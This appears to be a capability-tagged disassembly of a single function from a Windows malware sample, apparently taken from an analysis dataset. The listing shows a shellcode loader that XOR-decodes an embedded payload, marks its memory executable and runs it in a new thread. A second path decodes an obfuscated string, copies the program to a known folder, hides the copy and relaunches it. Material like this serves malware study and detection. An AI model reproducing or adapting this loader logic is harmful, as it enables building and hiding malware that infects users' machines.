Function at 0x140001800
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread
Delete file
Get common file path
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
mov eax, 0x2168
call fcn.140001de0
sub rsp, rax
mov eax, 8
imul rax, rax, 0
mov dx, 0x36
mov rcx, qword [rsp + 0x2188]
mov rcx, qword [rcx + rax]
call fcn.1400016c0
test rax, rax
je 0x140001a23
mov eax, 8
imul rax, rax, 0
mov dx, 0x30
mov rcx, qword [rsp + 0x2188]
mov rcx, qword [rcx + rax]
call fcn.1400016c0
test rax, rax
je 0x140001a23
mov eax, 8
imul rax, rax, 0
mov dx, 0x73
mov rcx, qword [rsp + 0x2188]
mov rcx, qword [rcx + rax]
call fcn.1400016c0
test rax, rax
je 0x140001a23
mov eax, 8
imul rax, rax, 0
mov dx, 0x5f
mov rcx, qword [rsp + 0x2188]
mov rcx, qword [rcx + rax]
call fcn.1400016c0
test rax, rax
je 0x140001a23
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x2188]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edx, edx
mov ecx, 0x270f
call qword [sym.imp.KERNEL32.dll_SleepEx]
mov qword [rsp + 0x80], 0x49000
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rsp + 0x80]
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
lea rax, [0x14000d340]
mov rdi, qword [rsp + 0x58]
mov rsi, rax
mov rcx, qword [rsp + 0x80]
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x34], 0
jmp 0x14000194f
mov eax, dword [rsp + 0x34]
add eax, 2
mov dword [rsp + 0x34], eax
movsxd rax, dword [rsp + 0x34]
cmp rax, qword [rsp + 0x80]
jae 0x140001981
movsxd rax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x58]
movzx eax, word [rcx + rax]
xor eax, 0xface
movsxd rcx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x58]
mov word [rdx + rcx], ax
jmp 0x140001944
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x58]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0xa8], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x140001dbc
lea rax, [rsp + 0x160]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
lea rax, [rsp + 0x1960]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
lea rax, [rsp + 0x1160]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x1160]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, [rsp + 0xb0]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400563d0]
call sub.SHELL32.dll_SHGetKnownFolderPath
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0x1960]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x98]
movzx eax, word [rax]
mov word [rsp + 0x30], ax
mov rax, qword [rsp + 0x88]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x98]
add rax, 2
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x88]
add rax, 2
mov qword [rsp + 0x88], rax
cmp word [rsp + 0x30], 0
jne 0x140001abe
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov byte [rsp + 0x40], 0x42
mov byte [rsp + 0x41], 0x10
mov byte [rsp + 0x42], 0x14
mov byte [rsp + 0x43], 0x3b
mov byte [rsp + 0x44], 0x54
mov byte [rsp + 0x45], 0x51
mov byte [rsp + 0x46], 0x57
mov byte [rsp + 0x47], 0x14
mov byte [rsp + 0x48], 3
mov byte [rsp + 0x49], 0x38
mov byte [rsp + 0x4a], 0x42
mov byte [rsp + 0x4b], 3
mov byte [rsp + 0x4c], 0x49
mov byte [rsp + 0x4d], 2
mov byte [rsp + 0x4e], 0x1f
mov byte [rsp + 0x4f], 2
mov byte [rsp + 0x50], 0x67
mov r8b, 0x67
mov edx, 0x11
lea rcx, [rsp + 0x40]
call fcn.1400013a0
lea rax, [rsp + 0xc8]
mov rdi, rax
xor eax, eax
mov ecx, 0x22
rep stosb byte [rdi], al
mov dword [rsp + 0x38], 0
jmp 0x140001bab
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
movsxd rax, dword [rsp + 0x38]
cmp rax, 0x11
jae 0x140001bd0
movsxd rax, dword [rsp + 0x38]
movsx ax, byte [rsp + rax + 0x40]
movsxd rcx, dword [rsp + 0x38]
mov word [rsp + rcx*2 + 0xc8], ax
jmp 0x140001ba1
xor ecx, ecx
call fcn.1400017e0
and rax, 0xffff
mov r9, rax
lea r8, [rsp + 0x1960]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x160]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x1160]
lea rcx, [rsp + 0x160]
call fcn.1400016f0
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov eax, eax
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
or rax, 2
mov qword [rsp + 0xa0], rax
mov edx, dword [rsp + 0xa0]
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [rsp + 0xf0], 0x70
lea rax, [rsp + 0xf4]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, [rsp + 0x160]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x960]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
lea rax, [rsp + 0x960]
mov qword [rsp + 0x60], rax
sub qword [rsp + 0x60], 2
add qword [rsp + 0x60], 2
mov rax, qword [rsp + 0x60]
cmp word [rax], 0
jne 0x140001caa
mov rax, qword [rsp + 0x60]
lea rcx, [0x140056340]
mov rdi, rax
mov rsi, rcx
mov ecx, 4
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x960]
mov qword [rsp + 0x68], rax
sub qword [rsp + 0x68], 2
add qword [rsp + 0x68], 2
mov rax, qword [rsp + 0x68]
cmp word [rax], 0
jne 0x140001ce7
mov rax, qword [rsp + 0x68]
lea rcx, [rsp + 0x1160]
xor edx, edx
movzx edi, word [rcx + rdx*2]
mov word [rax + rdx*2], di
inc rdx
test di, di
jne 0x140001d07
lea rax, [rsp + 0x960]
mov qword [rsp + 0x70], rax
sub qword [rsp + 0x70], 2
add qword [rsp + 0x70], 2
mov rax, qword [rsp + 0x70]
cmp word [rax], 0
jne 0x140001d2a
mov rax, qword [rsp + 0x70]
lea rcx, [0x140056344]
mov rdi, rax
mov rsi, rcx
mov ecx, 4
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x960]
mov qword [rsp + 0x78], rax
sub qword [rsp + 0x78], 2
add qword [rsp + 0x78], 2
mov rax, qword [rsp + 0x78]
cmp word [rax], 0
jne 0x140001d67
mov rax, qword [rsp + 0x78]
lea rcx, [0x140056348]
mov rdi, rax
mov rsi, rcx
mov ecx, 4
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x960]
mov qword [rsp + 0x110], rax
mov dword [rsp + 0x120], 0
lea rcx, [rsp + 0xf0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor eax, eax
add rsp, 0x2168
pop rdi
pop rsi
ret